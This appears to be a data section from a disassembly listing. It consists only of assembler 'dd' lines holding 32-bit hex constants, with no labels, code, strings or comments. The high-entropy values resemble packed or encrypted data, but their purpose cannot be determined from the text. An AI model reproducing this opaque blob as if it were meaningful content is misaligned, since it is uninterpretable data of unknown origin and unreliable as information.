		dd 2794BCE8h, 8EE92F4Bh, 0C09D5DA9h, 3BC89566h,	14824432h
		dd 0C68C0896h, 0DC205714h, 0C5D6F0E4h, 0BB6B9141h, 672413C6h
		dd 0FA653D77h, 0FCC0263Bh, 408D7929h, 881C9750h, 2B18D7Ah
		dd 0BA5133BFh, 0E3F39F64h, 3ED96379h, 0C1691698h, 34D12942h
		dd 84EABE88h, 55400F03h, 0B7CA0830h, 0C754BA15h, 7BDDCC96h
		dd 7666AA43h, 34DF48C7h, 0ABF9DADBh, 0D02B8051h, 8DC3C835h
		dd 14484875h, 59DD016Eh, 448B442Ch, 2D838253h, 7EE0F3E1h
		dd 44239FBh, 2FB24AFCh,	0E84A5AFAh, 0DE14E212h,	886A65A4h
		dd 841C6A57h, 734C8499h, 99BC4BCEh, 83A09F25h, 0AC0FEC4Ch
		dd 59A2AC81h, 0C5FA2D7Dh, 0C31612CBh, 2EA7BF97h, 60E72A03h
		dd 0B0AC1D85h, 49E99F54h, 3E5DD668h, 21F4FFE4h,	2809F271h
		dd 0B4D6DFBEh, 58AF98Fh, 0ADFAC907h, 4AB1AB3Fh,	38EE586h
		dd 0CDCF566Dh, 68086907h, 7621DD55h, 0B2F4EEA2h, 0D02F6545h
		dd 0C9E53009h, 34CA6BBEh, 94AFABB0h, 0B7271078h, 52F2D42Dh
		dd 0AC9D89EBh, 1C0102D8h, 74565097h, 33816139h,	0FF145EDAh
		dd 840B6177h, 0EB34F3F0h, 0EC5C022Ah, 60742F14h, 1EEAFECDh
		dd 0D2CD38FDh, 1E2B90F2h, 0CAA26228h, 33D0797Fh, 0B84E438Fh
		dd 0A621BED9h, 0F7CF45F6h, 0CDD3C023h, 414F8F0Fh, 0E067249Ch
		dd 547C6643h, 0E11EC1DFh, 0D374B5EEh, 0E2DF8C23h, 0AB85C9E2h
		dd 0CD4B11C0h, 1AEAD809h, 22EF952Ah, 0B6EE54AFh, 366F0434h
		dd 0B83DC821h, 1CB73199h, 3D746212h, 7242046Dh,	27C2DF1Eh
		dd 0BF8EB8F1h, 0EFD44FC1h, 3A41EBA1h, 0F3BE57F7h, 0C9734D1Ah
		dd 68BA4FA6h, 0C28D07B6h, 53B356B4h, 0B97D18F2h, 3E11FBC9h
		dd 1DDE124Ch, 0BFCA73A9h, 0C36CCA54h, 0A9AFFEA6h, 7BA8065Fh
		dd 15321A25h, 8A877AB7h, 95F9BC29h, 25FDB376h, 1C6362EEh
		dd 8B5BAC78h, 0DC6AE75Eh, 0C7F37FAEh, 800FD697h, 25CB3E0Ah
		dd 0DC7225Bh, 38C53F40h, 39EEB077h, 0F43EAC7Ah,	34039852h
		dd 9BA939D8h, 565E9CFEh, 0A7C42B85h, 0BD258A74h, 884BFE61h
		dd 3DA5C174h, 9A6B4C6Ah, 496D1BB2h, 0B0DA7913h,	9427DB70h
		dd 4A857270h, 0C71E6B6Ah, 0A0FF0EC9h, 0DDD53C24h, 9E367DDAh
		dd 0CBBD9C43h, 0D49B9CA9h, 5D85D829h, 51438664h, 8ACB46E3h
		dd 89E8878Fh, 0FFF29F70h, 0E479B331h, 765DA923h, 0C30FCF95h
		dd 0CB7A6D88h, 0D2CAB1DCh, 9A0C0F47h, 45C2850Dh, 0C1240B6Ch
		dd 0DBE0E026h, 0E6943216h, 0EC6A46D9h, 987820Fh, 0E6FA0281h
		dd 45AB3592h, 0AF9A40B4h, 39514204h, 0EE654D87h, 0F8660B84h
		dd 0CCC9B61Ch, 8ECB15AEh, 0D8269777h, 27C2E30Eh, 8DAFD946h
		dd 0AFEA57D0h, 1553D180h, 9DDA77Fh, 90E39655h, 44388CC7h
		dd 4FF63F0Ch, 92F8E2ACh, 0A1755510h, 53904Ch, 0E36DB926h
		dd 3EED580Eh, 0A6C9A9B4h, 0A3254DBh, 7983130Bh,	2B03EF9h
		dd 61F2C4E0h, 47FE28F6h, 340D2518h, 0D86D22C5h,	94F4A52Ch
		dd 3275C0FBh, 861CAA86h, 0A1A3B1CEh, 0E3A580DEh, 40B3C808h
		dd 7599F612h, 0BE1D8E6Dh, 0DE844F84h, 4D26C60Bh, 3AD464E7h
		dd 0B7752C9Ah, 2B4902CBh, 275549E7h, 0A81D084Dh, 76614B0Fh
		dd 0F70943B3h, 66F9177Ah, 0CE5E17ABh, 535ACF5Ah, 0DC5E717Ah
		dd 3B6E99DFh, 0A70279FAh, 0FE4A21FFh, 8A454A35h, 0F08F84AEh
		dd 63014B4Eh, 8E6BE06Dh, 55A21C8Dh, 14737004h, 17B6198h
		dd 0F1134000h, 0A30A45B0h, 7796D3BCh, 0EA7D5E5Ch, 0A52E18D4h
		dd 3F74297Ch, 279AD451h, 0BF48BB7Dh, 8CA12C11h,	0F32F4CA7h
		dd 0A3D24A80h, 1E6F5111h, 0C84F82EDh, 0B4ABC529h, 0FD21F600h
		dd 0C3D50561h, 5BF5338Eh, 0AE0A7912h, 8505466Bh, 0BA4814D9h
		dd 6CAB79EAh, 4547D439h, 4C67CB9Dh, 0AF3A15D0h,	23D66913h
		dd 7E53556Dh, 0DFC26C7Fh, 0A0F9291Dh, 816A016Fh, 1D3C9ACAh
		dd 0F873CCA9h, 2350D80h, 0DE2006CEh, 2F3481B6h,	0C1491FDDh
		dd 8313AF56h, 3F49F575h, 488A4795h, 2491BC43h, 0E08DE910h
		dd 0C300C1A2h, 61845B91h, 27B57BF7h, 5C6A0153h,	224B4169h
		dd 0F3590AFEh, 4E7068E6h, 19F154CBh, 0AF84D51Fh, 55279240h
		dd 21BFE2ECh, 332BDEC2h, 0A20BDA3Eh, 23B8844h, 0F47D71D9h
		dd 95D7674Dh, 0A3B3306Dh, 61DF4EACh, 0EE5C8036h, 100634D2h
		dd 0D8E81F8Dh, 1D952EA2h
		dd 0CDDB3E22h, 0BD1506F7h, 0EFF98EDh, 0D606D4F2h, 3F01D78Eh
		dd 0E8C70CCh, 69095A86h, 912E57C4h, 86185E69h, 1C729F70h
		dd 2A453991h, 989F7F8Ch, 14A6CE91h, 0A46467ACh,	3D86AF2Eh
		dd 157F2887h, 0D67381DAh, 0D47EE1FCh, 46965783h, 86FC29AAh
		dd 0E439AD46h, 68EDF5EDh, 9AACA712h, 61177E8Ah,	8F5BC527h
		dd 0F60ECBADh, 95C052E3h, 0CAA4F77Ch, 0A6EFE2C0h, 0F7EF6434h
		dd 9800A767h, 0FC74D7B9h, 0E0D6A058h, 16D68D9Ah, 0DA0DB2FFh
		dd 37007EB8h, 0F7DD9183h, 88981EFAh, 0B9C141FFh, 7BC421BBh
		dd 57CA56EEh, 32F6204Eh, 0AAA75880h, 1B657BD4h,	9CC7534Dh
		dd 2AB841A8h, 2EFF4FBDh, 1ED35210h, 0F559D1CFh,	83DAB3D4h
		dd 7BAE1467h, 11DCD59Eh, 31641604h, 9A7AD895h, 415D7609h
		dd 3DC47030h, 0AB1A4907h, 0F14E93B5h, 0FE01A375h, 142BE11Ch
		dd 810477C7h, 0F8F67BF3h, 30552562h, 0DEDEB234h, 0CB6E6933h
		dd 23B74603h, 0D17038EAh, 9ED9C0E4h, 0BF392304h, 0BA065D4h
		dd 0EF73F6B5h, 0F5B838E7h, 0FD37E635h, 587C8D25h, 32381966h
		dd 0B847C536h, 0E0246277h, 368D0AC1h, 7222AECEh, 5EA48C99h
		dd 99F5FD35h, 49D81559h, 0BD43A7Dh, 1F0E06A1h, 8CBCC200h
		dd 54B23D01h, 32E51DC4h, 7F6E052Eh, 0F18840B4h,	0E0E5CBBh
		dd 451FD2E7h, 79FA50E3h, 0EF492421h, 7DBE7719h,	84BF1BA3h
		dd 0EB62D329h, 7325C4D0h, 0B0790106h, 1C878942h, 4057ECF9h
		dd 0E332E75Bh, 0C3BF5226h, 0AD87075Ah, 634F864Dh, 5DCD51A3h
		dd 0D5E09B4Ch, 5E4F47B1h, 0CF4B6250h, 0E49E05C9h, 95F44807h
		dd 0A30F1335h, 50C31F41h, 0F48E7649h, 0D1C9A278h, 4FDCA957h
		dd 306247C7h, 0D194C169h, 0CCF857h, 626D39B6h, 4CBBE0F6h
		dd 9114A74Ah, 10240E26h, 7710D7A9h, 34E688FDh, 9936291Bh
		dd 4F2AF67Ah, 12CA3C31h, 0F15FB039h, 52166765h,	29C6B8F0h
		dd 0E60D2C52h, 4E1298C2h, 7957ED1h, 0A4756AC1h,	0D28B4F7Fh
		dd 331CB68Bh, 34D12E03h, 0C2869DCh, 0E0FC7924h,	0A1E028E0h
		dd 0F57CA27Eh, 9D3D0D0Fh, 264A4A20h, 0E726838Dh, 0EA76DEFBh
		dd 73D75555h, 0E5B09414h, 7973D52h, 0CDBC21B5h,	3EC74684h
		dd 18C27181h, 36A5831Fh, 6728A576h, 1668BEC9h, 0B6FD5177h
		dd 0FC1155EAh, 3AA10EA3h, 0DC257CAFh, 3F19E2DFh, 0FF600376h
		dd 0F880139Ch, 27603F58h, 0F5A0DFB5h, 0DBBE0C41h, 89858435h
		dd 4695B463h, 0F7D6B5C4h, 1308E030h, 0DE75998Eh, 0EB77D1D3h
		dd 2178CA5Bh, 843B0B73h, 94E85AF0h, 60EB6E1h, 2515D005h
		dd 8FEE0F1Fh, 0D8ECF2Ch, 949BB15Eh, 868BBA35h, 445E2B02h
		dd 6FD3E5h, 1172ACF2h, 6A6083A6h, 63C0EC09h, 464F1922h
		dd 0BA01FF5Fh, 360CF52Eh, 501538FCh, 0DC055F52h, 0BECA2B3Ch
		dd 5FBBC2A3h, 223D7E88h, 0E00BFFC4h, 176570B7h,	8BF34188h
		dd 0F95E818Ch, 0DA9D1A65h, 0CE5B649h, 6FC306ABh, 1E3E03CFh
		dd 0DF5941CAh, 3A1AA0B0h, 0D291DD67h, 2CCC156Fh, 0A54658F8h
		dd 0F8D87435h, 9CE604C9h, 535C4F35h, 0AC72C5AAh, 4292E7B8h
		dd 12358CC2h, 0FED0D524h, 49353D86h, 74948686h,	0B6B49D10h
		dd 225032CEh, 98A0121Ch, 32882C8Bh, 7B53DD6Ch, 12019A91h
		dd 0CA5D18BFh, 0A55A7B95h, 0C99F318Dh, 5B959CDh, 5C887E7Dh
		dd 0CB17004Ah, 25C8E120h, 7A5A2DCEh, 9A4409F4h,	662D35BDh
		dd 2C4D64F7h, 0F250F0D2h, 0D49AC6ADh, 0C3BEC5Fh, 9B42FD41h
		dd 2D806D8Ch, 0C2FCC71Eh, 0DCEA6374h, 656D1D10h, 4604E131h
		dd 6A4FEBD4h, 2CF6E446h, 806A4A9h, 0E9A8071Bh, 35D4409Eh
		dd 506656DAh, 36B18F03h, 28F67751h, 5122F943h, 0A98EB454h
		dd 508749CCh, 0E5D4A446h, 890B01ABh, 5B122588h,	98EE5FB3h
		dd 0E8AECBD7h, 0DB1E1D44h, 4FEDE137h, 0AFD81F7Ch, 0AE5856B0h
		dd 52EDEBC8h, 5C454B85h, 9A5CFD34h, 0DF78A6D2h,	10F9AED3h
		dd 0D5D6F7C0h, 44837C8Fh, 317282F2h, 0B1D3849Fh, 9F70476Bh
		dd 0EC308548h, 516B0981h, 0B017675Dh, 8B1558A0h, 8C1C48C4h
		dd 9977D986h, 0F0CAC3CFh, 8F1B14FCh, 22895C42h,	885701C9h
		dd 84C82F8Ah, 0E561E9FBh, 62DD70C2h, 0F527FE75h, 44F0C448h
		dd 2DB26040h, 1C8F9085h, 0B3F10EFAh, 0CB3E623h,	6CE392C6h
		dd 0FCD7F66Bh, 28A2ACAFh, 0E7CA172Fh, 141C5990h, 2BE1C738h
		dd 0B5F12E17h, 0A0161D58h, 0BE165161h, 96FC9E33h, 0E5457BAFh
		dd 0A468DB91h, 8A5D25BEh, 0C1CF231Eh, 0ADAB78F2h, 1E0537F9h
		dd 6BB37222h, 5A7AFA90h, 16090D1Eh, 83BBEEA7h, 0F99DE53Ch
		dd 0E93690FDh, 0E4EA5BFAh, 1033ACB3h, 13FFB4ABh, 836286D9h
		dd 565BFADDh, 0C182FD2h, 8D349AC6h, 9992A0B6h, 49D9E20Bh
		dd 8119D64Ah, 8DB983B7h, 0CA5D4B89h, 0F6080D82h, 30EB38B6h
		dd 0E3AD834h, 44BD2351h, 1D675476h, 0D5AAAF71h,	4A9BB73h
		dd 0DA6EF419h, 0E9C93818h, 0F4C16713h, 781D84CFh, 152EE213h
		dd 549EFBD3h, 390B4D07h, 0B43E34C4h, 7C416F25h,	8B2FD292h
		dd 5C0E83DFh, 914C95AFh, 0AE7979B0h, 0B9BC578Eh, 2A0AAC73h
		dd 84BB4C56h, 6202AF3Ch, 0D62723FBh, 0DA27731Fh, 816BC4E1h
		dd 0F71808A5h, 0DCCF5424h, 570DD191h, 3EA4031Dh, 0FE844F4Ah
		dd 536CD9FBh, 189F4934h, 54A7F2D7h, 0CDE4EF0Dh,	53B197A0h
		dd 67A33F2Dh, 4C4F2DABh, 0A533916Ch, 4058BD91h,	8562EA5Bh
		dd 78961D1h, 0BA36B09Ch, 6136AA90h, 40D17B87h, 193EAD08h
		dd 0B7168ED6h, 0E5D6ED1Dh, 0B54DF1D6h, 0F62432EBh, 6D92F196h
		dd 0E5DC1038h, 8AD5EF62h, 0F7B78864h, 0CD7ACA91h, 0D4B0FC81h
		dd 34FBBB1Bh, 102EF8B8h, 70D7225Ch, 992DA474h, 0F7184A5Dh
		dd 0CCFCD1C3h, 3C0FE51Ah, 1626EDDBh, 0C287D531h, 14EF868Eh
		dd 957DE0B1h, 4415BBFFh, 5D95178Bh, 0A43C77CDh,	0F67E403Eh
		dd 46A7D47Fh, 6E1C752Bh, 0FAFFBD20h, 8A9DFDF8h,	0BD61BDF6h
		dd 5EC604h, 39FB9D52h, 7DBEB6A5h, 663F576Ah, 557DB52Ch
		dd 2ECEBE88h, 0FEBAEA7Bh, 4DDC902Fh, 0F755043h,	5080E132h
		dd 0E7D69480h, 0EFB0EEF9h, 0E25A2073h, 0C123D15Dh, 216D9FA3h
		dd 0DD2FE986h, 2B4E65C9h, 689655C7h, 97E0B69Dh,	0C615A6B4h
		dd 90040A8Eh, 0DA9B379Bh, 7555CE5Bh, 0E8670D4Dh, 0EA7980F4h
		dd 0E6B69778h, 0F90B5C83h, 0B73DDF9Bh, 0C1B59C91h, 99BB1EB1h
		dd 6E9D8656h, 49C9CF2h,	1210A254h, 0CC051356h, 7C94C0DAh
		dd 0AE11B81Eh, 0BCC90C05h, 0D94A8173h, 74A982F7h, 0B600A625h
		dd 0DB0E476Dh, 170B6F46h, 19E0F08Ah, 11DD173Fh,	0DD03AF28h
		dd 0C7D8F560h, 7EF254B5h, 714BE6F2h, 8A49852Fh,	0EA39A49Ch
		dd 0A7FC2424h, 560848A5h, 0D43AB2A6h, 72A32DA5h, 0DA96F230h
		dd 716872AFh, 0C6C8D9A1h, 0FF8766C2h, 52975BDDh, 4C8A24AEh
		dd 745E73DDh, 797A2A2h,	6496915h, 1A17F67Fh, 184CC8BAh
		dd 63A2A3EAh, 95857943h, 35BA32Bh, 312AF0Eh, 9CE671F3h
		dd 0EBAAF7B1h, 0FCB17D33h, 9682123h, 41FA446Ch,	1744F68Eh
		dd 23C0D9C3h, 9A888D7Ch, 0FB9E9C9Dh, 0AC2C739Ah, 5D461C29h
		dd 69D7C977h, 0FE883344h, 460228ADh, 1888998Ah,	4C52A20Fh
		dd 4EFC7143h, 44EFC83Eh, 0DA0772F3h, 8478F839h,	0A7973435h
		dd 4B5C1744h, 78B31F8Eh, 0F8EC02D2h, 98C24F7h, 0FC4F0EA6h
		dd 8D29000Eh, 303DCD9Ch, 4DEF95DBh, 7C6EB8DEh, 38BAD60Ah
		dd 0B40A30F4h, 0F1D4532Ch, 55847B8Ah, 22FF53DDh, 90C3A78Dh
		dd 0E1EE1492h, 66997C7Ch, 110F3682h, 0C9620E3h,	0E96E8E86h
		dd 80DAB2C9h, 0EFC0104Fh
		dd 615E6CF1h, 5E46434Dh, 0EF47E9EFh, 6C663A13h,	7504C26h
		dd 953EA0Ch, 78EAD7A8h,	15474E2Ch, 6AC1D50Dh, 5BAAAC7Ah
		dd 50A2D224h, 0C01AD2Eh, 0A53D4A4h, 37C6287Bh, 0D4942D68h
		dd 0B7379467h, 0D8407CB4h, 0F5EC5229h, 8D997B54h, 11DC0EA4h
		dd 0F67EE276h, 87C286C1h, 2E004232h, 9C29A9A6h,	0F0CE6F09h
		dd 7BC713CDh, 3F3493E4h, 3D9C2BFAh, 0C716FA69h,	2B4EAD15h
		dd 0EDEB5D4Eh, 0A85C6000h, 0EBB9CB50h, 1971E2E1h, 91FB96C5h
		dd 0D504B050h, 0A3986F07h, 1AED27CBh, 7A0683F3h, 93469AB5h
		dd 858759A7h, 0B93F0692h, 31FB54EBh, 0AAD5B86h,	0DFEEC313h
		dd 0F51E89F5h, 7F4DE1C9h, 0E449960Eh, 0CB367E12h, 6F4F5E0Fh
		dd 54B28474h, 0AA80B734h, 59383E86h, 0D18011E0h, 0A0EAD5CCh
		dd 13D69502h, 676945E1h, 36EDA338h, 1ADD199Bh, 0C18A3529h
		dd 5725C6ADh, 9EAEC657h, 46D76E04h, 62D8093h, 0B1CA2A27h
		dd 0D5645CA9h, 7C92B0D2h, 48D4558Ch, 0DC3A9862h, 4476DE7Dh
		dd 0B69B8C60h, 581459Bh, 5250A900h, 0B17C3D12h,	0C022EFBDh
		dd 29AEB8BCh, 4FAE4C89h, 0AB9B72FAh, 688D6477h,	0E45C74FCh
		dd 27A0015Bh, 8AFD0B3Ch, 0E74860E3h, 0ECEB3328h, 96DFD41Bh
		dd 3087301Eh, 0BC11F66Bh, 9FF5C280h, 4A17EE2Dh,	7A54CFF0h
		dd 7DC524DCh, 5FEDDF3Fh, 9B3CC8F5h, 0B57B82Eh, 0E5B52F1Fh
		dd 9D9D36Ch, 5409DE34h,	588435E6h, 529E83h, 2BE956BBh
		dd 22CFB097h, 5D0858F9h, 15D83979h, 45BF001Ch, 926EF415h
		dd 0FF5B934Dh, 8B404FC8h, 748105C3h, 2B22A5D9h,	1F0CD12Eh
		dd 0EE8A9768h, 0BE070BA3h, 9DCB4BECh, 0B09DBEDEh, 9CCA636Ah
		dd 6731A37Eh, 0E0747DB3h, 6BF47B6h, 7580343Fh, 8A64DF48h
		dd 0A9F8916Bh, 337C26A5h, 882276A1h, 2098562Fh,	5B970567h
		dd 0CCD014BEh, 0E13786Dh, 0C2B57D2Fh, 5DD73C98h, 832170h
		dd 0CFA847C1h, 252506DEh, 0BB5CBDF6h, 67B946B8h, 8BAC6C5h
		dd 967027CEh, 652B9509h, 0D78360DEh, 0D029E8A8h, 158F4DDDh
		dd 77923825h, 0DF908BF4h, 0FD013CEh, 7D703D6Ah,	8F3BAD9Eh
		dd 0E830D268h, 0DE38DD18h, 48BCCAABh, 0FFCD8AB3h, 2DFC7DE6h
		dd 9FE4D932h, 4FEA4FB7h, 1692509Dh, 6694BA61h, 4E74B4A0h
		dd 6861235Ah, 0ED51FF18h, 3E191112h, 0BA3A5256h, 0B8ACF344h
		dd 194AEF7Ch, 5F04C5C9h, 0D6402820h, 0C0A633A7h, 7C42E88h
		dd 6EA13A60h, 0A89F39E2h, 71BA9405h, 24D0AA31h,	188D4AD4h
		dd 6519E15Fh, 0D6D7E035h, 0B5B9AEA8h, 81F4F31Bh, 50E9146h
		dd 0EA4C5CDDh, 7EE8EFD4h, 0EAE208E8h, 866A7FB3h, 0A741B429h
		dd 0BB3E459Dh, 0E3854F1Bh, 0C1296FA0h, 0A5C3453Fh, 55A3130Ch
		dd 0C698A761h, 41A08193h, 6309393Ch, 99A4115Ah,	51F6899Ch
		dd 0D7E4898Dh, 0B20FE813h, 51403179h, 10F1DBB6h, 1EFAEF17h
		dd 0BEC95D7Eh, 0E10D5396h, 0CBF41461h, 101FF25Bh, 0E91FDE47h
		dd 3A7A55D8h, 58287413h, 59EF7528h, 88265EC8h, 93DE798Eh
		dd 0B36DEC4Bh, 0D9E09744h, 0AEB0B5A6h, 94B60FAEh, 0A7AE6C03h
		dd 6900EDA1h, 1466BE89h, 0B7040B2Eh, 18D3F5BCh,	0A2B55111h
		dd 0DB646355h, 0EE16CA87h, 0D90E5D35h, 1DC7D80Eh, 0FC3844ACh
		dd 5164C71Eh, 7B8A40A8h, 6367059Fh, 666AFD26h, 0F03C3E49h
		dd 98D94530h, 0C2D8E822h, 0E8730727h, 0BA49D6EFh, 0E2047628h
		dd 389F527Ah, 0ADA1E3Eh, 14FA8248h, 0E4D5726Eh,	5291F83Eh
		dd 0B817CCC0h, 25577918h, 0BFD421BFh, 17BE5BFCh, 2384378Fh
		dd 242B6A4Bh, 0BDB63F8Fh, 5F0ED020h, 0FA059322h, 569A8446h
		dd 0D4FACB7Dh, 9BB32DCBh, 0FD22604Bh, 37A03036h, 3B9F0321h
		dd 0A3E30224h, 7BD28F2Ah, 4DCE7EB0h, 7039CBB4h,	269BEE94h
		dd 4EB4FACEh, 0E3C585CEh, 9C5F3456h, 64655A8Bh,	0A0E4F46Ch
		dd 1D4AFF1Dh, 7E6D5BE2h, 20C508E5h, 0EAD98C5Eh,	80D69829h
		dd 0F5ACB0EDh, 0F34A2A85h, 5BFFB3FCh, 0DCFAAFF5h, 0F8ACE049h
		dd 109B91B3h, 9F1A548h,	3DDCB714h, 4174977h, 0BB9048E8h
		dd 0A29F4876h, 0E9425DC0h, 5B20531Ch, 0DAE6878Eh, 2F8E91B9h
		dd 6E4F144Fh, 0FD89FE4Dh, 95C187A5h, 0C7FCAB01h, 717E891Ch
		dd 0D14FC8E5h, 2BD6B659h, 0A52BD4F1h, 816EF5B7h, 0F552CA87h
		dd 0BA3C3F1Ch, 7BD6B438h, 7875A246h, 0B67C9C42h, 6B278686h
		dd 0E1BA3534h, 0CE18B216h, 46AB1000h, 228A520h,	0DF94CF30h
		dd 0FAA8A3DAh, 0BBB0391Dh, 7C8B18F1h, 4E76D495h, 0ADDD37B3h
		dd 1B2B3A77h, 0CEB0BA9Ah, 6AE0FF2Ah, 18E0083Ah,	0A082A673h
		dd 9EBBDE92h, 0B4626B71h, 49FE0A86h, 99403741h,	3D4F5D93h
		dd 0B567E4E5h, 0EC0FA0EAh, 4D468A8Dh, 48FF0FA2h, 11616168h
		dd 54DC9A03h, 0E8FD7B00h, 0B28B23DEh, 3589A964h, 0C8A36108h
		dd 52661FFDh, 99D55C60h, 1A9E7429h, 98D75A57h, 0DE7A2484h
		dd 55A8C901h, 0F48D5B9Bh, 39403C83h, 0A0C258Ch,	10B99F3Fh
		dd 20CCB6B8h, 6C416834h, 2F73F54Dh, 0E494CF9Ch,	16DB6E81h
		dd 48240893h, 9132BE85h, 565D8A0Ch, 7918B535h, 81079B41h
		dd 705EDB50h, 0DA037419h, 0A2BFA720h, 98A8781Ah, 4402B373h
		dd 9DC228F2h, 8A1F181Dh, 9DC4F4FCh, 22E30C41h, 157457DAh
		dd 0C053BD67h, 0F00683A7h, 0AFA80654h, 6F10B200h, 0EF36ED3h
		dd 53C52DBDh, 0F555985Dh, 482F5386h, 126FDDBEh,	84C65A92h
		dd 0BF90659Eh, 0AE4148C2h, 93735A39h, 7B76A931h, 123DDC86h
		dd 134366ADh, 0AECC685Ah, 0C00EC47Eh, 0D0704027h, 7636B51Fh
		dd 13DA5968h, 0C7D41E5Dh, 80EE9063h, 0D681D64Eh, 1613E80Ch
		dd 1A399B78h, 2C874D42h, 708C1274h, 44359635h, 1A4446B1h
		dd 21F3CB1Fh, 94C86482h, 3AD8773Fh, 0A4518A63h,	694DCE6Dh
		dd 0DBD1DFC9h, 54651B3Dh, 1D8266EAh, 5C562648h,	0FD5E265Bh
		dd 0E04C39D8h, 0F987D393h, 73FFCB4h, 31129B7Dh,	0BD802933h
		dd 6AF11E2Ah, 1327002Bh, 9B8C47A7h, 0AB565BB3h,	0FC053265h
		dd 0AE0F2AB8h, 220907B5h, 0F350136h, 41179FA4h,	697CAEDDh
		dd 0DF57B801h, 455F1436h, 97D0C4CCh, 5D402A13h,	0C18A6850h
		dd 0BB9D020Ch, 847D6A23h, 328896E4h, 0E9D0B274h, 4CA928C3h
		dd 218E2CBCh, 5BFEF136h, 0D40CE26Dh, 137D706Bh,	1182B251h
		dd 0A1BD3054h, 0E3E3CF0Ch, 85CF5E7Ah, 13331149h, 0EBAC9097h
		dd 5D4B919Ah, 0EEE3E7BAh, 0A17E276Eh, 0ABAE8C54h, 8BB3885Bh
		dd 2CB4C22Ch, 9DB7FFEDh, 8277A506h, 0B7A03AD6h,	15D53783h
		dd 0FD3C6A8Ch, 1EDC45CBh, 0B28D80F0h, 1E1A7966h, 5FFB2AD5h
		dd 0E5DA9D9Ch, 1B963333h, 5384F232h, 81608354h,	0B9383FDFh
		dd 0A7E03CBAh, 8A22D8C9h, 4B281B64h, 4EA9DF54h,	9CA0E7D6h
		dd 40D83B0Ah, 207832Dh,	469885FAh, 0FEB9ADB4h, 1F869CD8h
		dd 0AC067BEEh, 55EA6FFBh, 0B4807E20h, 73A0AB23h, 52111525h
		dd 7D228B1Ah, 0DDE28264h, 0CE6ED742h, 37095F2Bh, 88E97A2Dh
		dd 0A6417EBDh, 0B6F800C7h, 0AF509FAEh, 2A8AAFACh, 0FC09FA3Fh
		dd 0E99CAECAh, 52A25283h, 469DD06Eh, 0ACE32CECh, 0F45ED653h
		dd 4A7DB86Eh, 0F7CF2C0Dh, 1298FFD6h, 3954AC2Bh,	0D46F7BC8h
		dd 95E0A5ADh, 368909A0h, 4056B87Ah, 0E8C55038h,	2C3228B4h
		dd 0FCBF4AFCh, 74CA386Ch, 944E74C7h, 0C7260869h, 11AB0904h
		dd 29799489h, 82EFD916h, 95A8BCD8h, 0FF87CB33h,	239934B4h
		dd 2300BC3Eh, 5BC99889h, 0FCD54F80h, 48829CA8h,	3103F4B1h
		dd 0C4AA26B9h, 0FB62C5F3h, 0D795D0C0h, 6CFF390Eh, 59F7B5E8h
		dd 0ED86D162h, 0A2FA3D2Dh
		dd 0F958EFB2h, 49059798h, 0DE9F2507h, 422271AEh, 95EE3571h
		dd 5B8C50EEh, 9BC9FF38h, 0DFAC749Eh, 0D51F4B91h, 5FF760A6h
		dd 6F43E2C3h, 0C8ABB6D3h, 4D38E71Ah, 0A02FFDC2h, 79D5A375h
		dd 0DC258039h, 0C821613Ch, 641857A4h, 0A2E5B957h, 0D7EC435Eh
		dd 63600EF1h, 367B6403h, 2D9AB35Eh, 23E3691Ah, 0A41D6448h
		dd 0F7271D6Eh, 930CF453h, 4AEC6E95h, 0B3CD7A6Fh, 56CDF9D2h
		dd 0FCEEC9CEh, 0CF20FA6Dh, 2437F575h, 0E9819FCBh, 5467A6B5h
		dd 7DE47027h, 0B202BA32h, 0A3BDBD03h, 7F330BBCh, 3E90C973h
		dd 0DA78ECA4h, 0AF7C1CCBh, 0EF54479Bh, 0DA425840h, 7228BCFFh
		dd 99C278BBh, 679C6BADh, 1A0E3512h, 0CB246BC2h,	19D8DED2h
		dd 120D2BCAh, 0C53CC3AEh, 5D0ED0F8h, 0AB7460D8h, 0A6688903h
		dd 4DA49108h, 0EB808C3h, 0C091E476h, 0C6EC3FFh,	44F99B14h
		dd 0DE698A1Ah, 3451022Ch, 38E82F1Fh, 0D63EC67h,	0EDD55B21h
		dd 0E284DBA3h, 67DEC987h, 9E577741h, 0A70B2752h, 0FA7E9AE2h
		dd 5266975Bh, 93D674D5h, 16D648FCh, 3F03C9B5h, 1A8143DDh
		dd 3F3F4BDDh, 0DD060445h, 0F6D10F15h, 0D87CD193h, 0CD33595Fh
		dd 3A527377h, 0B3E9AF6Fh, 41F34ECCh, 67420910h,	2143B1AEh
		dd 1ED393FEh, 8C145078h, 6C46BF3h, 3D3CF442h, 25EB1451h
		dd 0F74A8F64h, 0E209FF2Eh, 0F5F8334Bh, 0B52D30E5h, 39F352C4h
		dd 0D68C436Fh, 0C478DC85h, 0FA1C769Bh, 8312D4E5h, 0D905DF54h
		dd 0AE05F708h, 538ACA7Dh, 4D82005Fh, 2356924Ch,	0B98A81h
		dd 443FED66h, 0DC36578Ah, 88845A78h, 0F48A1054h, 8FF9C9DAh
		dd 3A6E334Dh, 0C35352A8h, 70873413h, 0B4F0087Bh, 0DDDED339h
		dd 1FEF3CE5h, 3BA8F72Eh, 0D1F14BB0h, 0A6B0FBF1h, 0F611EFF7h
		dd 35C46C2Dh, 0D8BB229h, 5C0199B9h, 0CEB31043h,	0DA3C9CB1h
		dd 4D4A8D60h, 0B3EDB5B6h, 0A45AF93Bh, 0B77D12E9h, 0E0B7EF74h
		dd 9985413Ch, 101E327Ch, 1468329h, 993A9618h, 6A531C06h
		dd 4C4C8081h, 820F7DA8h, 5A6CC096h, 74B9AD98h, 0A3DA23Ch
		dd 8A0D65E0h, 0B3ED9A19h, 81DCFA80h, 0A23AA9A1h, 23619020h
		dd 89836276h, 0C5C0CE3Dh, 4AD0E7D0h, 0F232D0F1h, 0FBD6A1BBh
		dd 0D311D09h, 528CBDD2h, 9DA72E0Eh, 5804202Eh, 0FF1F9411h
		dd 0A43CC6F9h, 91838EDFh, 0CE67A3E1h, 1506654Eh, 0C2EB26BDh
		dd 0FE2BC3Dh, 0A0AAD9F0h, 0F933C964h, 3A05182Fh, 0AD208D45h
		dd 0EA58E442h, 0E6CED0B0h, 7A240D1Ch, 0B79F2B88h, 0BE8635E7h
		dd 52BB0600h, 326C1BAAh, 4D080540h, 116B1C61h, 0A0119504h
		dd 0C50600F8h, 3E469209h, 9F8ECD3Fh, 41A56C4Eh,	94CB6119h
		dd 0FB3E0D54h, 5B8C7957h, 49F9B337h, 7DF5A173h,	0ED32552Ch
		dd 91DD29F4h, 0D53D1E91h, 0BA6FF33h, 177CF56Dh,	0E565987Ch
		dd 0B5935893h, 0B83B5298h, 0E387C0A5h, 795F66A1h, 4F5BC8CBh
